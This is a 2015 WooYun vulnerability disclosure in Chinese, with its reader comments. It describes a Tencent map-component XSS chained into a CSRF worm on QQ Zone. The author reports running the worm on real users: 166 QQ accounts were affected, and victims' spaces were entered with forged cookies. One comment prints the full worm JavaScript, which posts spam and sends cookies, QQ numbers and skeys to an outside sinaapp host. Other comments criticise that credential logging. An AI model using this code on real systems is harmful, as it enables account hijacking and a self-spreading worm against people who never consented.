当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122514

漏洞标题:从一个小xss到csrf到腾讯空间被刷爆了(一个业务蠕虫的诞生过程/测试已停)

相关厂商:腾讯

漏洞作者: 别在说

提交时间:2015-06-24 17:40

修复时间:2015-08-08 18:52

公开时间:2015-08-08 18:52

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-24: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开

简要描述:

昨晚三点才睡的

详细说明:

长话短说:
1. 登录腾讯风铃 -》 创建一个移动模版(免费空白模版)的站点
2.菜单栏-》添加元素-》组件-》地图定位

QQ截图20150624164643.png


地址写cssxn便于源码中定位

1.png


3. 保存-》预览-》发布
4.点击预览-》里面可以得到正式页面地址:http://2000235102.flzhan.com/index.html

22.png


5.在正式页面中得到腾讯地图接口地址:

http://acts.zhan.qq.com/module/map/index?mapsId=mapsId_558a709967e26&data=eyJpZCI6Im1hcHNJZF81NThhNzA5OTY3ZTI2Iiwid2lkdGgiOjMyMCwiaGVpZ2h0IjoyMDAsImRhdGEiOnsibGlzdCI6W3siYWRkcmVzcyI6ImNzc3huIiwibGF0IjoiMzkuOTA0MDMiLCJsbmciOiIxMTYuNDA3NTI2IiwiaXNGaW5kVXJsIjoiIiwiaXNEaXJlY3Rpb24iOiIifV0sInpvb20iOiIxMSJ9fQ==


6.接口data值是base64加密-》解密后可以看到cssxn

33.png


7.可以看到GPS接口是获取地址栏的参数来定义地址的,所以我们闭合json,执行xss

111.png


8. 闭合json 弹下cookie -》 重新加密json成base64

222.png


9.弹出了cookie -> 但是我发现另一个js中有这么一段js

/**
* QQ登录模块组件
*
* @author elianlin@tencent.com
* @time 2013-07-20
*/
(function($){
//"use strict";
/**
* 判断是否qq.com的域
*/
var _checkDomain = function(){
var domain = document.domain;
if(domain.indexOf("qq.com") < 0){
throw new Error('The domain is not "qq.com"!');
}else{
document.domain = "qq.com";
}
};
/**
* 从cookie里获取skey
*/
var _getSkey = function(LLogin){
if(LLogin){
var skey = $.trim($.cookie('skey') || $.cookie('lskey'));
}else{
var skey = $.trim($.cookie('skey'));
}

if(!skey) return null;
return skey;
};

/**
* 从cookie里获取uin
*/
var _getUin = function(LLogin){
if(LLogin){
var uin = $.cookie('uin') || $.cookie('luin');
}else{
var uin = $.trim($.cookie('uin'));
}

if(!uin) return 0;

//去除首位“o”
uin = uin.substr(1);

//字符串转数字
uin++;
uin--;
if(uin < 10000 || uin > 4294967295) return 0;
return uin;
};
/**
* 退出登录
*/
var _removeLogin = function(){
var _cookieOpt = {domain: "qq.com", path: "/"};
$.removeCookie("uin", _cookieOpt);
$.removeCookie("skey", _cookieOpt);
$.removeCookie("luin", _cookieOpt);
$.removeCookie("lskey", _cookieOpt);
}

/**
* QQ登录
*/
$.loginQQ = $.qqLogin = function(options){
_checkDomain();
_removeLogin();

var _proxy = "http://appmedia.qq.com/media/act/common/loginsucc.html";
var _loginType = "dialog";
var opt = {
appid: $.gConfig.base.appid,
type: 'auto',
isMask: true,
jumpTo: null,
zIndex: 1000000001,
callback: function(){},
closeCallback: function(){}
}
opt = $.extend({}, opt, options || {});

if(opt.type === "page" || (opt.type === "auto" && $.browserInfo.type === "mobile")){
_loginType = "page";
}
if(_loginType === "dialog"){
var loginUrl = "http://ui.ptlogin2.qq.com/cgi-bin/login?" +
"f_url=loginerroralert&style=0&target=self&appid=" + opt.appid + "&s_url=" + _proxy;

if(opt.isMask){
$.overlay.show();
}
var loginIframe = $.iframe({
url: loginUrl,
width: 622,
height: 368,
zIndex: opt.zIndex,
onlyIframe: true
})
window.ptlogin2_onClose = function(){
loginIframe.close(true);
$.overlay.hide();
opt.closeCallback();
};
window.ptlogin2_callback = function(){
/*如果有配置登录后跳转则优先支持链接跳转*/
if($.type(opt.jumpTo) === "string" && /^http[s]?:\/\//.test(opt.jumpTo)){
try{
top.location.href = opt.jumpTo;
}catch(e){
window.location.href = opt.jumpTo;
}
return true;
}
/*调用回调*/
if($.isFunction(opt.callback)){
opt.callback($.getQQ());
return true;
}
/*默认刷新页面*/
try{
top.location.reload();
}catch(e){
window.location.reload();
}
}
}

if(_loginType === "page"){
var browser = $.browserInfo;
var loginUrl = "http://ui.ptlogin2.qq.com/cgi-bin/login";
var hln_css = "http://appmedia.qq.com/media/jslib/1.5/res/ptlogin/pic_s.png";
var style = 9;
var hide_close_icon = 1;
var s_url = "";
if(browser.os == "ios"){
style = 8;
hide_close_icon = 0;
}
if(browser.os == "android" || browser.os == "otherMobile"){
style = 9;
hide_close_icon = 0;
}
if($.isUrl(opt.jumpTo)){
s_url = encodeURIComponent(opt.jumpTo);
}else{
try{
s_url = encodeURIComponent(top.location.href);
}catch(e){
s_url = encodeURIComponent(window.location.href);
}
}
loginUrl += '?style=' + style + '&appid=' + opt.appid + '&s_url=' + s_url + '&low_login=0&hln_css
=' + hln_css + "&hide_close_icon=" + hide_close_icon;
try{
top.location.href = loginUrl;
}catch(e){
window.location.href = loginUrl;
}
}
};
/**
* 退出QQ登录
*/
$.logoutQQ = $.qqLogout = function(options){
_checkDomain();
_removeLogin();

var opt = {
'jumpTo': null,
'callback': null
}
opt = $.extend({}, opt, options || {});
/*如果有配置退出后跳转则优先支持链接跳转*/
if($.isUrl(opt.jumpTo)){
try{
top.location.href = opt.jumpTo;
}catch(e){
window.location.href = opt.jumpTo;
}
return true;
}
/*调用回调*/
if($.isFunction(opt.callback)){
opt.callback();
return true;
}
/*默认刷新页面*/
try{
top.location.reload();
}catch(e){
window.location.reload();
}
};
/**
* 判断是否登录,只验强登录
*/
$.isLoginQQ = function(){

_checkDomain();

var uin = _getUin();
var skey = _getSkey();
if (uin > 0 && skey) return true;
return false;
};

/**
* 判断是否登录,包括弱登录
*/
$.isLLoginQQ = function(){

_checkDomain();

var uin = _getUin(true);
var skey = _getSkey(true);
if (uin > 0 && skey) return true;
return false;
}
/**
* 获取当前登录的QQ号
*/
$.getQQ = function(){
_checkDomain();
return _getUin(true);
};
/**
* 获取防csrf的token
*/
$.getCSRFToken = function(){
_checkDomain();

var skey = _getSkey(true);

if(!skey) skey = '';

var hash = 5381;
for(var i = 0, len = skey.length; i < len; ++i){
hash += (hash<<5&0x7fffffff) + skey.charAt(i).charCodeAt();
}
return hash & 0x7fffffff;
}
})(jQuery);


10. 其中$.getQQ() _getSkey() 这两个函数用来获取用户QQ和skey 拿到skey可以直接杀进空间
11.$.getCSRFToken() token算法 哈哈 csrf一个?

xss.png


12. 首先加载我的http://1.lxss.sinaapp.com/m.js ->js代码解释 自行补脑
13.来看看收获到现在为止 蠕了166个QQ

11.png


22.png


33.png


14. 用名小子伪造cookie 秒进空间

44.png


16.空间和邮箱都被刷爆了

1.png


2.jpg


漏洞证明:

11.png


22.png


44.png


psb.jpg

修复方案:

自行补脑

版权声明:转载请注明来源 别在说@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-06-24 18:51

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-24 19:50 | Sunshie ( 实习白帽子 | Rank:58 漏洞数:10 | http://phpinfo.me)

    666666

  2. 2015-06-24 21:45 | Mieless ( 路人 | Rank:11 漏洞数:1 | 我是来打酱油的。)

    66666

  3. 2015-06-24 21:45 | GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)

    http://[打码]sinaapp.com/m.php CSRF倒无所谓你把别人的状态信息记下来几个意思

  4. 2015-06-24 22:08 | Neeke ( 普通白帽子 | Rank:101 漏洞数:24 | 求传授刷Rank方法?)

    楼上能看到?

  5. 2015-06-24 22:23 | hope ( 路人 | Rank:1 漏洞数:2 | 一个小菜)

    666666

  6. 2015-06-24 22:24 | GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)

    @Neeke 他在空间火了

  7. 2015-06-24 22:38 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    66666

  8. 2015-06-24 23:08 | zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)

    你在空间说的真好听"你们的qq很安全"$('body').append('<div style="display:none"><img src="http://lxss.sinaapp.com/m.php?c='+escape(document.cookie)+'&u='+$.getQQ()+'&s='+Skey()+'" width=0 height=0 border=0 /></div>');这段代码啥意思 你解释一下 我咋一点都看不懂

  9. 2015-06-24 23:14 | GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)

    @zzzzy 人家都说了:f**k you! (http://lxss.sinaapp.com/m.php)

  10. 2015-06-24 23:20 | Angelic47 ( 路人 | Rank:1 漏洞数:1 )

    var Skey = function(LLogin){ if(LLogin){ var skey = $.trim($.cookie('skey') || $.cookie('lskey')); }else{ var skey = $.trim($.cookie('skey')); } if(!skey) return null; return skey; };var u = "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_publish_v6?g_tk="+$.getCSRFToken();var d = {"con":"xxxxxxx! http://url.cn/eidT6l by:Luna qq:82919847","hostuin":$.getQQ()}function openBlank(action,data){ var form = $("<form/>").attr('action',action).attr('method','post').attr('target','_self'); var input = ''; $.each(data, function(i,n){ input += '<input type="hidden" name="'+ i +'" value="'+ n +'" />'; }); form.append(input).appendTo("body").css('display','none').submit();}$('body').append('<iframe src="http://user.qzone.qq.com/'+$.getQQ()+'" onload="openBlank(u,d)" >');$('body').append('<div style="display:none"><img src="http://lxss.sinaapp.com/m.php?c='+escape(document.cookie)+'&u='+$.getQQ()+'&s='+Skey()+'" width=0 height=0 border=0 /></div>');JS我贴了,大家自己拿去看。m.php是个什么情况?大家都懂。还有,留下QQ也真是醉了

  11. 2015-06-24 23:39 | zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)

    @GreenVine 就像你说的,他单纯恶作剧根本没什么,接收clientkey就让人不爽了,这玩意几乎通杀qq业务啊

  12. 2015-06-24 23:45 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    乌云貌似对腾讯的漏洞做了特殊化处理啊,每个漏洞不管确认不确认,都要在最上面展示几天,哈哈。。。

  13. 2015-06-24 23:47 | GreenVine ( 路人 | Rank:30 漏洞数:3 | Blooming like a flower!)

    @zzzzy 那个m.js现在还能访问,所以我理解不了什么叫“测试已停止”

  14. 2015-06-25 09:17 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

    @别在说 求人帮忙进没权限空间 我很伤心

  15. 2015-06-25 09:43 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    记录skey是干嘛?

  16. 2015-06-26 10:17 | zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)

    @GreenVine “测试停止”说的是这个xss点被修了,所以你再点击那个连接的时候,不会加载外部js了

  17. 2015-08-08 21:01 | 小博博 ( 实习白帽子 | Rank:60 漏洞数:9 | .)

    表示我没开空间...但是我的朋友们都被玩了

  18. 2015-08-09 11:12 | 3ang ( 路人 | Rank:2 漏洞数:1 | 风往北吹,你走的好干脆!)

    66666666666

  19. 2015-08-18 23:14 | 小杨 ( 路人 | Rank:22 漏洞数:4 | 。)

    留个名